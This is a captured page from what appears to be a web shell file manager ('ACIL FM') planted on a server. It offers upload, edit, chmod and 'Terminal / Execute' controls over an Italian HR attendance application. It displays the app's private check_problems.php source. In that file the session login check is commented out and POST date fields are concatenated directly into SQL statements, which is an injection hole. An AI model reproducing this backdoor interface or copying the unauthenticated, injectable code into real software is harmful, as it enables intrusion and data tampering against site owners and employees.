ACIL FM
Dark
Refresh
Current DIR:
/home/mhhtmff/app/NH-HR-test-old/ds/php
/
home
mhhtmff
app
NH-HR-test-old
ds
php
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
account
-
chmod
Open
Rename
Delete
attendance
-
chmod
Open
Rename
Delete
bacheca
-
chmod
Open
Rename
Delete
dashboard
-
chmod
Open
Rename
Delete
login
-
chmod
Open
Rename
Delete
permissions
-
chmod
Open
Rename
Delete
plugins
-
chmod
Open
Rename
Delete
settings
-
chmod
Open
Rename
Delete
situation
-
chmod
Open
Rename
Delete
stamps
-
chmod
Open
Rename
Delete
transfers
-
chmod
Open
Rename
Delete
users
-
chmod
Open
Rename
Delete
.DS_Store
8 MB
chmod
View
DL
Edit
Rename
Delete
auth.php
1.35 MB
chmod
View
DL
Edit
Rename
Delete
check_problems.php
17.74 MB
chmod
View
DL
Edit
Rename
Delete
database.php
357 B
chmod
View
DL
Edit
Rename
Delete
functions.php
1.93 MB
chmod
View
DL
Edit
Rename
Delete
globals.php
339 B
chmod
View
DL
Edit
Rename
Delete
logout.php
79 B
chmod
View
DL
Edit
Rename
Delete
ovh.php
175 B
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/mhhtmff/app/NH-HR-test-old/ds/php/check_problems.php
<?php session_start(); /* if (!isset($_SESSION['loggedin'])) { exit("unauthorized"); } */ $manual = $_POST["manual"]; include "database.php"; include "functions.php"; $sql = "SELECT * FROM check_parameters"; $result_parameters = mysqli_query($con, $sql); while ($parameters = mysqli_fetch_assoc($result_parameters)) { if ($parameters["name"] == "consecutive_work_days") { $consecutive_work_days = number_format($parameters["value"]); $consecutive_work_days_desc = $parameters["description"]; } else if ($parameters["name"] == "last_consecutive_day_max_time") { $last_consecutive_day_max_time = date("H:i:s", strtotime($parameters["value"])); $last_consecutive_day_max_time_desc = $parameters["description"]; } else if ($parameters["name"] == "max_day_work_time") { $max_day_work_time = number_format($parameters["value"]); $max_day_work_time_desc = $parameters["description"]; } else if ($parameters["name"] == "max_time_before_break") { $max_time_before_break = number_format($parameters["value"]); $max_time_before_break_desc = $parameters["description"]; } else if ($parameters["name"] == "min_break_time") { $min_break_time = number_format($parameters["value"]); $min_break_time_desc = $parameters["description"]; } else if ($parameters["name"] == "min_time_between_work_days") { $min_time_between_work_days = number_format($parameters["value"]); $min_time_between_work_days_desc = $parameters["description"]; } } if ($manual == "true") { $check_start_date = date("Y-m-d", strtotime($_POST["start_date_check"])); $check_end_date = date('Y-m-d', strtotime($_POST["end_date_check"] . ' + 1 day')); $run_user_id = $_SESSION["id"]; $sql_problems_range = "SELECT * FROM problems_date_range WHERE user_id = " . $_SESSION["id"] . ""; $result_problems_range = mysqli_query($con, $sql_problems_range); if ($result_problems_range->num_rows > 0) { $sql_update = "UPDATE problems_date_range SET start = '$check_start_date', end = '" . $_POST["end_date_check"] . "', datetime = '" . date("Y-m-d H:i:s") . "' WHERE user_id = " . $_SESSION["id"] . ""; $con->query($sql_update); } else { $sql = "INSERT INTO problems_date_range VALUES(NULL,'$check_start_date','" . $_POST["end_date_check"] . "'," . $_SESSION["id"] . ",'" . date("Y-m-d H:i:s") . "')"; $con->query($sql); } $sql_delete = "DELETE FROM problems WHERE run_user_id = " . $_SESSION["id"] . ""; $con->query($sql_delete); } else { $check_end_date = date("Y-m-d"); $check_start_date = date("Y-m-01", strtotime("-1 month")); $run_user_id = 0; $sql_problems_range = "SELECT * FROM problems_date_range WHERE user_id = 0"; $result_problems_range = mysqli_query($con, $sql_problems_range); if ($result_problems_range->num_rows > 0) { $sql_update = "UPDATE problems_date_range SET start = '$check_start_date', end = '$check_end_date', datetime = '" . date("Y-m-d H:i:s") . "' WHERE user_id = 0"; $con->query($sql_update); } else { $sql = "INSERT INTO problems_date_range VALUES(NULL,'$check_start_date','$check_end_date',0,'" . date("Y-m-d H:i:s") . "')"; $con->query($sql); } $sql_delete = "DELETE FROM problems WHERE run_user_id = 0"; $con->query($sql_delete); } $day_minutes = 480; $entry_time = ""; $exit_time = ""; $startDate = new \DateTime($check_start_date); $endDate = new \DateTime($check_end_date); $interval = \DateInterval::createFromDateString('1 day'); $period = new \DatePeriod($startDate, $interval, $endDate); //Ciclo gli utenti attivi $sql = "SELECT * FROM users WHERE enable = 1 AND attendance = 1"; $result_users = mysqli_query($con, $sql); while ($users = mysqli_fetch_assoc($result_users)) { //Dichiaro/pulisco le variabili $consecutive_days = 0; $user_id = $users["id"]; //Ciclo i giorni del periodo foreach ($period as $dates) { //Dichiaro/pulisco le variabili $date = $dates->format('Y-m-d'); $worked_minutes = 0; $index = 0; $entry_count = 0; $last_stamp_type = ""; //Determino il tipo di giorno $dt1 = strtotime($date); $dt2 = date("l", $dt1); $dt3 = strtolower($dt2); if ($dt3 == "saturday") { $day_type = "Festivo"; } else if ($dt3 == "sunday") { $day_type = "Festivo"; } else { $day_type = "Lavorativo"; } //Ciclo le timbrature dell'utente nel giorno $sql = "SELECT * FROM stamps WHERE date = '$date' AND user_id = " . $user_id . " ORDER BY time ASC"; $result_stamps = mysqli_query($con, $sql); if ($result_stamps->num_rows > 0) { $consecutive_days++; while ($stamp_row = mysqli_fetch_assoc($result_stamps)) { //Imposto le variabili $stamp_id = $stamp_row["id"]; $stamp_type = $stamp_row["type"]; $stamp_time = $stamp_row["time"]; $stamp_date = $stamp_row["date"]; $last_stamp_type = $stamp_type; //Modifico l'orario con la gestione a 15 minuti if ($stamp_type == "Entrata") { $entry_time = FormatEntryTimeBy15Minutes($stamp_time); $entry_count++; } else { $exit_time = FormatExitTimeBy15Minutes($stamp_time); } if (($index == 0) && ($stamp_type == "Uscita")) { //Se la prima timbratura del giorno è un'uscita $minutes = CalcMinutesBetweenTimes("00:00:00", $exit_time); $worked_minutes += $minutes; //Controllo il tempo massimo ti un turno lavorativo $yesterday = date('Y-m-d', strtotime($stamp_date . ' - 1 days')); $minutes = CalcMinutesBetweenTimes($yesterday . " " . $entry_time, $stamp_date . " " . $exit_time); if ($minutes > $max_time_before_break) { $description = "Lavoro nel turno: " . timeFromMinutes($minutes) . " ore"; $suggestion = "" . $max_time_before_break_desc . ": " . timeFromMinutes($max_time_before_break) . " ore"; InsertProblem($user_id, "Timbratura", $stamp_id, $description, $suggestion, $date, 'timeGridDay', $run_user_id); } } else if ($stamp_type == "Entrata") { //Se la timbratura è entrata //Se è la prima entrata della giornata if (($entry_count == 1) && ($exit_time != "")) { //Controllo il tempo minimo tra un turno e un altro $yesterday = date('Y-m-d', strtotime($stamp_date . ' - 1 days')); $minutes = CalcMinutesBetweenTimes($stamp_date . " " . $stamp_time, $yesterday . " " . $exit_time); if ($minutes < $min_time_between_work_days) { $description = "Il tempo di riposo dal turno precedente è " . timeFromMinutes($minutes) . " ore"; $suggestion = "" . $min_time_between_work_days_desc . ": " . timeFromMinutes($min_time_between_work_days) . " ore"; InsertProblem($user_id, "Timbratura", $stamp_id, $description, $suggestion, $date, 'timeGridDay', $run_user_id); } } else { //Controllo il tempo minimo di pausa $minutes = CalcMinutesBetweenTimes($stamp_time, $exit_time); if ($minutes < $min_break_time) { $description = "Pausa tra i turni: " . timeFromMinutes($minutes) . " ore"; $suggestion = "" . $min_break_time_desc . ": " . timeFromMinutes($min_break_time) . " ore"; InsertProblem($user_id, "Timbratura", $stamp_id, $description, $suggestion, $date, 'timeGridDay', $run_user_id); } } } else if ($stamp_type == "Uscita") { //Se la timbratura è uscita $minutes = CalcMinutesBetweenTimes($entry_time, $exit_time); $worked_minutes += $minutes; //Controllo il tempo massimo ti un turno lavorativo if ($minutes > $max_time_before_break) { $description = "Lavoro nel turno: " . timeFromMinutes($minutes) . " ore"; $suggestion = "" . $max_time_before_break_desc . ": " . timeFromMinutes($max_time_before_break) . ""; InsertProblem($user_id, "Timbratura", $stamp_id, $description, $suggestion, $date, 'timeGridDay', $run_user_id); } } $index++; } } else { $consecutive_days = 0; $entry_time = ""; $exit_time = ""; } //Se l'ultima timbratura della giornata è entrata if ($last_stamp_type == "Entrata") { $minutes = CalcMinutesBetweenTimes($entry_time, "24:00:00"); $worked_minutes += $minutes; //Se è la prima entrata della giornata if ($entry_count == 1) { //Controllo il tempo minimo tra un turno e un altro $yesterday = date('Y-m-d', strtotime($stamp_date . ' - 1 days')); $minutes = CalcMinutesBetweenTimes($stamp_date . " " . $stamp_time, $yesterday . " " . $exit_time); if ($minutes < $min_time_between_work_days) { $description = "Il tempo di riposo dal turno precedente è " . timeFromMinutes($minutes) . " ore"; $suggestion = "" . $min_time_between_work_days_desc . ": " . timeFromMinutes($min_time_between_work_days) . " ore"; InsertProblem($user_id, "Timbratura", $stamp_id, $description, $suggestion, $date, 'timeGridDay', $run_user_id); } } else { //Controllo il tempo minimo di pausa $minutes = CalcMinutesBetweenTimes($stamp_time, $exit_time); if ($minutes < $min_break_time) { $description = "Pausa tra i turni: " . timeFromMinutes($minutes) . " ore"; $suggestion = "" . $min_break_time_desc . ": " . timeFromMinutes($min_break_time) . " ore"; InsertProblem($user_id, "Timbratura", $stamp_id, $description, $suggestion, $date, 'timeGridDay', $run_user_id); } } } //Controllo il massimo di ore di lavoro in una giornata if ($worked_minutes > $max_day_work_time) { $description = "Totale ore lavorate nel giorno: " . timeFromMinutes($worked_minutes) . ""; $suggestion = "" . $max_day_work_time_desc . ": " . timeFromMinutes($max_day_work_time) . " ore"; InsertProblem($user_id, "Timbratura", 0, $description, $suggestion, $date, 'timeGridDay', $run_user_id); } //Controllo se sono stati fatti 12 giorni lavorativi consecutivi e la timbratura d'uscita del 12° giorno è dopo le 13:00 oppure se sono stati fatti più di 12 giorni di lavoro consecutivi if ($consecutive_days == $consecutive_work_days && $stamp_time > $last_consecutive_day_max_time) { $description = "Giorni di lavoro consecutivi: $consecutive_days giorni - Ora fine turno: " . timeFromMinutes($stamp_time) . ""; $suggestion = "" . $consecutive_work_days_desc . ": " . $consecutive_work_days . " giorni - " . $last_consecutive_day_max_time_desc . ": " . timeFromMinutes($last_consecutive_day_max_time) . " ore"; InsertProblem($user_id, "Timbratura", 0, $description, $suggestion, $date, 'timeGridWeek', $run_user_id); } else if ($consecutive_days > $consecutive_work_days) { $description = "Giorni di lavoro consecutivi: $consecutive_days giorni"; $suggestion = "" . $consecutive_work_days_desc . ": " . $consecutive_work_days . " giorni"; InsertProblem($user_id, "Timbratura", 0, $description, $suggestion, $date, 'timeGridWeek', $run_user_id); } //Controlli sui permessi $permissions_day_minutes = 0; $sql_permissions = "SELECT * FROM permissions WHERE user_id = $user_id AND '$date' BETWEEN start_date AND end_date AND status_id = 2"; $result_permissions = mysqli_query($con, $sql_permissions); while ($permission = mysqli_fetch_assoc($result_permissions)) { if ($day_type == "Festivo") { if (($permission["start_date"] == $date) or ($permission["end_date"] == $date)) { //Controllo permessi in giorni festivi $description = "Non ci possono essere permessi in un giorno festivo"; $suggestion = "Rimuovere i permessi dalla giornata"; InsertProblem($user_id, "Permesso", 0, $description, $suggestion, $date, 'timeGridDay', $run_user_id); } } else { $permission_time = 0; if ($permission["full_day"] == 1) { //Se è permission intera aggiungo 8 ore $permissions_day_minutes += $day_minutes; } else { if ($permission["start_date"] == $date && $permission["end_date"] != $date) { //Se la data inizio permesso è uguale alla data del ciclo e la fine è dopo faccio la differenza tra ora inizio e 23:59:59 $timeObject1 = date_create('24:00:00'); $timeObject2 = date_create($permission["start_time"]); $interval = date_diff($timeObject1, $timeObject2); $permission_time = $interval->days * 24 * 60; $permission_time += $interval->h * 60; $permission_time += $interval->i; $remaining_minutes = $day_minutes - $worked_minutes; if ($remaining_minutes > 0) { if ($remaining_minutes > $permission_time) { $permissions_day_minutes += $permission_time; } else { $permissions_day_minutes += $remaining_minutes; } } else { $permissions_day_minutes += $permission_time; } } else if ($permission["end_date"] == $date && $permission["start_date"] != $date) { //Se la data fine permesso è uguale alla data del ciclo e l'inizio è prima faccio la differenza tra ora fine e 00:00:00 $timeObject1 = date_create($permission["end_time"]); $timeObject2 = date_create('00:00:00'); $interval = date_diff($timeObject1, $timeObject2); $permission_time = $interval->days * 24 * 60; $permission_time += $interval->h * 60; $permission_time += $interval->i; $remaining_minutes = $day_minutes - $worked_minutes; if ($remaining_minutes > 0) { if ($remaining_minutes > $permission_time) { $permissions_day_minutes += $permission_time; } else { $permissions_day_minutes += $remaining_minutes; } } else { $permissions_day_minutes += $permission_time; } } else if ($permission["end_date"] == $date && $permission["start_date"] == $date) { //Se la data inizio e fine permesso sono la data del ciclo faccio la differenza tra inizio e fine permesso $timeObject1 = date_create($permission["end_time"]); $timeObject2 = date_create($permission["start_time"]); $interval = date_diff($timeObject1, $timeObject2); $permission_time = $interval->days * 24 * 60; $permission_time += $interval->h * 60; $permission_time += $interval->i; $permissions_day_minutes += $permission_time; } else { //Se la data del ciclo è compresa tra la data inizio e fine permesso $permissions_day_minutes += $day_minutes; } } } } if ($day_type == "Lavorativo") { //Controllo se le ore lavorate + le ore di permesso sono minori di 8 $total_day_minutes = $worked_minutes + $permissions_day_minutes; if ($total_day_minutes < $day_minutes) { if ($total_day_minutes == 0) { $description = "Ore totali timbrature e permessi: 00:00"; } else { $description = "Ore totali timbrature e permessi: " . timeFromMinutes($total_day_minutes) . ""; } $suggestion = "In un giorno lavorativo di devono essere 8:00 ore tra timbrature e permessi"; InsertProblem($user_id, "Tutto", 0, $description, $suggestion, $date, 'timeGridDay', $run_user_id); } if (($permissions_day_minutes > 0) && ($worked_minutes >= $day_minutes)) { $description = "Non si possono richiedere permessi se si sono lavorate almeno 08:00 ore"; $suggestion = "Diminuire orario di lavoro o rimuovere i permessi dalla giornata"; InsertProblem($user_id, "Tutto", 0, $description, $suggestion, $date, 'timeGridDay', $run_user_id); } } } } echo "ok"; $con->close();
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply